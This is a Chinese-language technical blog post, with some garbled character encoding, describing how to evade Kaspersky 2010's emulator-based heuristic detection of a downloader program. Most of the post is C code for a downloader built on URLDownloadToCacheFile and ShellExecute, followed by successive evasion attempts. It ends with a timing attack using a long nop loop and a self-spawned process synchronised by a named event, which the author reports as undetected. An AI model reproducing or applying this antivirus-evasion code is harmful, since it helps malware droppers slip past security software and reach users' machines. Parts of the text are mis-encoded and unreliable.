卡巴2010虛擬機啟發(fā)式查毒的繞過方法
據(jù)我了解在卡巴7中就有虛擬啟發(fā)式查毒的功能。國內就有人在BLOG上發(fā)表了一篇如何突破卡巴7的虛擬機啟發(fā)式查毒的文章[1]??ò?和最新的卡巴2010中仍然具有該功能??ò退够挥梦叶嗾f了,大家都知道。我最近在網上查到有人說卡巴斯基是俄羅斯國家科學院合作開發(fā)的,軍方和克里姆林宮專用。這個我還真的不清楚了,請原諒我的無知。我先來說下什么是虛擬機啟發(fā)式殺毒。
我認為在這里的虛擬機啟發(fā)式殺毒應該可以理解為在虛擬機中執(zhí)行和啟發(fā)式殺毒。虛擬機即構造一個虛擬執(zhí)行環(huán)境或者說一個仿真的環(huán)境,將病毒等惡意代碼在該仿真的環(huán)境中運行實現(xiàn)自己脫殼等等。該仿真的環(huán)境和用戶計算機的真實環(huán)境是隔離的。
舉個例子:現(xiàn)在的惡意代碼都采用加殼為自己提供保護,尤其是一些已知病毒的變種。當采用虛擬機執(zhí)行技術加殼保護的惡意代碼仍能被殺毒軟件檢測到,有能力的讀者可以自己實驗一下。
啟發(fā)式指的是自我發(fā)現(xiàn)并推斷或判定事物的方式。啟發(fā)式殺毒通過分析程序指令的序列或者API函數(shù)的調用順序以及其他惡意代碼與正常程序的不同等經驗和知識的組合來判定是否是惡意代碼。這樣的啟發(fā)式殺毒具備某種人工智能特點。它的優(yōu)點不用我多說廢話,舉個例子:Downloader相信大家都知道,最重要的兩個API是URLDownloadToFile和ShellExecute(也可以是其他執(zhí)行一個程序的API)。例如,在使用虛擬機啟發(fā)式殺毒時,當被查毒程序的API調用序列中出現(xiàn)URLDownloadToFile或者ShellExecute,又或者不是按照先URLDownloadToFile后ShellExecute的調用順序是不會被報Downloader的。
可以說由于主動防御技術的種種缺點,現(xiàn)在各殺毒軟件廠商已經將虛擬機殺毒和啟發(fā)式殺毒作為殺毒業(yè)界的追求和探索的目標??梢灶A見到在未來幾年內殺毒軟件將不再會出現(xiàn)當正常使用系統(tǒng)和軟件時頻繁彈出主動防御窗口的尷尬。接下來將通過上面提到的Downloader例子分析下卡巴的虛擬機啟發(fā)式查毒的特點,并在最后給出一種可能的繞過方法和演示代碼,供各位看官賞玩。
我假設您已經知道什么是Downloader,一個最簡單的Downloader是:
#include "stdafx.h"
#include
#include
#pragma comment (lib,"Urlmon.lib")
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
}
這個程序是使用Visual Studio 2008創(chuàng)建的Win32窗口工程。編譯后卡巴2010直接報Downloader。首先使用了之前提到的xyzreg提到的方法,現(xiàn)在在卡巴2010下已經不適用,簡單的測試了一下卡巴2010會把自己模擬成explorer.exe。所以檢查父進程是否是explorer.exe的方法不行了,但是如果檢查自己的父進程是否是cmd.exe就可以了。當然這個實用性并不強,因為要求Downloader必須由cmd.exe啟動。
我覺得應該有其他的方法可以逃過虛擬查毒,但是這里只從虛擬查毒本身入手。首先想到的是這個虛擬機和真實環(huán)境是否有區(qū)別?這個回答當然是肯定的。但是這些區(qū)別在哪里,這些區(qū)別是否會影響到。是否存在一種情況虛擬機無法虛擬而導致虛擬環(huán)境下無法執(zhí)行到URLDownloadToCacheFile和ShellExecute那就不會檢查到是Downloader了。這個思想很簡單,然后要怎么實現(xiàn)呢。
首先想到虛擬機是否虛擬了異常處理,如果沒有虛擬異常處理,那我們認為的制造一個異常,將具有Downloader特性的API調要放到異常處理程序中不就繞過了嗎。于是有了下面的代碼:
BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult)
{
__try
{
*pResult = dividend / divisor;
}
__except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ?
EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return TRUE;
}
return TRUE;
}
在Downloader的程序入口以參數(shù)divisor為0調用這個SafeDiv函數(shù),。這樣就會產生一個除0的錯誤。結果是卡巴報Downloader!看樣子卡巴有對異常處理虛擬的能力。
恩。。。如果我在代碼中添加int 3中斷會發(fā)生什么情況呢?應該也虛擬了。現(xiàn)在就來試試,果然在Downloader入口添加int 3后當然是查不出來了,呵呵,程序也運行不了了。接下來就看看能不能找到方法讓程序在真實情況下能運行在,虛擬機下停住了。沒有多久想了一個替代的方法,判斷程序的輸入參數(shù)。通過檢查程序的輸入參數(shù)來控制程序的執(zhí)行流程。簡單的在Downloader入口添加判斷程序參數(shù)的代碼:
if(strcmp(argv[1],"1")!== 0)
return;
程序運行時輸入參數(shù)“1”程序執(zhí)行Downloader的功能,在虛擬機中執(zhí)行時沒有參數(shù)輸入所以程序返回,檢測不到惡意函數(shù)調用順序。當然這樣的惡意代碼是丑陋的,所以我想到使用CreateProcess來啟動Downloader自己的另一個實例。代碼如下:
部分變量聲明和初始化代碼省略。。。
INT32 divisor = 1;
if(argc == 1)
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
CreateProcess(szPath,L"1 2",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
ExitProcess(0);
return;
}
if(strcmp(argv[1],"2") == 0)
divisor = 0;
SafeDiv(10,divisor,&Result);
ExitProcess(0);
return;
}
編譯成功后,使用卡巴2010查毒。報Downloader!失望啊!將對函數(shù)參數(shù)檢查的方式換成使用“命名對象”的方式:
//定義一個“命名對象”
TCHAR szMutex[] = L”11111”;
HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
報Downloader!失望!看樣子卡巴的虛擬機對API的模擬和程序執(zhí)行的流程虛擬很到位!不知道對時間的虛擬的怎么樣?代碼中有Sleep(10000000)的語句會不會影響虛擬查毒的時間呢?根據(jù)我的實驗在其中加入Sleep函數(shù)睡眠很長的一段時間并沒有影響虛擬殺毒查出Downloader的時間,所以估計對時間的虛擬可能不好。將上面的代碼中在CreateProcess調用之后調用Sleep睡眠一段較長的時間如5秒,然后調用CloseHandle關閉“命名事件”。
如果卡巴遇到Sleep函數(shù)簡單的跳過,則在虛擬機中執(zhí)行的順序將是先執(zhí)行Sleep后的CloseHandle關閉事件,然后再進入到新實例中創(chuàng)建“命名事件”,在這種情況下就能創(chuàng)建成功,所以程序的執(zhí)行流程不會進入到URLDownloadToCacheFile處,以此繞過檢測。但是實際情況時仍然被報Downloader,說明卡巴2010對Sleep等時間相關的函數(shù)虛擬的也很好。
到這里停下來想想,我們已經掌握了卡巴虛擬機執(zhí)行的許多特性了,最理想的方案是在上述方法中進行改進,能達到對卡巴虛擬機執(zhí)行的時間方面的攻擊。于是想到使用大量無意義的代碼塊來模擬Sleep函數(shù)的功能,原因是對于大量循環(huán)的無意義操作卡巴是否完全虛擬其執(zhí)行,我想應該是沒有的。于是代碼變?yōu)椋?/p>
#include "stdafx.h"
#include
#include
#include
#pragma comment (lib,"Urlmon.lib")
// Global Variables:
HINSTANCE hInst; // current instance
// Forward declarations of functions included in this code module:
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
TCHAR szMutex[] = L"1111";
HANDLE hEvnet = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
for(int i = 0;i < 1000000000; i++)
__nop();
CloseHandle(hEvnet);
return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
}
編譯。對該文件執(zhí)行查毒,沒有檢測到威脅。成功了??偟恼f來,卡巴的虛擬機沒有真正的像真實環(huán)境一樣對像。
for(int i = 0;i < 1000000000; i++)
__nop();
這樣的語句塊進行真正的執(zhí)行,導致虛擬機的時間和真實環(huán)境下的時間不一致導致在虛擬機中和真實環(huán)境下的執(zhí)行流程的不一樣。這樣就實現(xiàn)了對卡巴虛擬查毒的繞過??偟恼f來,卡巴斯基是一個很強大的殺毒軟件,殺毒能力確實也比較強,但是也不應該過分相信卡巴。有人
說的好,要讓人正確認識卡巴斯基這個優(yōu)秀的殺毒軟件。
另外,本文的基于超時的攻擊思路和這篇2年前的文章[2]頗有一番異曲同工之妙,而”Timing Attack”在Google Scholar上的搜索結果有1,110,000[3]條!希望通過本文,能夠讓各位看官重新認識Timing Attack的奇妙之處。
最后,嚴重的感謝一下c4pr1c3的幫助和關懷。